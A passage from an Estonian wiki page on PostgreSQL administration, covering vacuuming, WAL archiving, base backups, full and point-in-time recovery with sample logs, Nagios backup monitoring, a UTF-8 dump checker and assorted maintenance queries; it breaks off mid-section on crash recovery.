* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
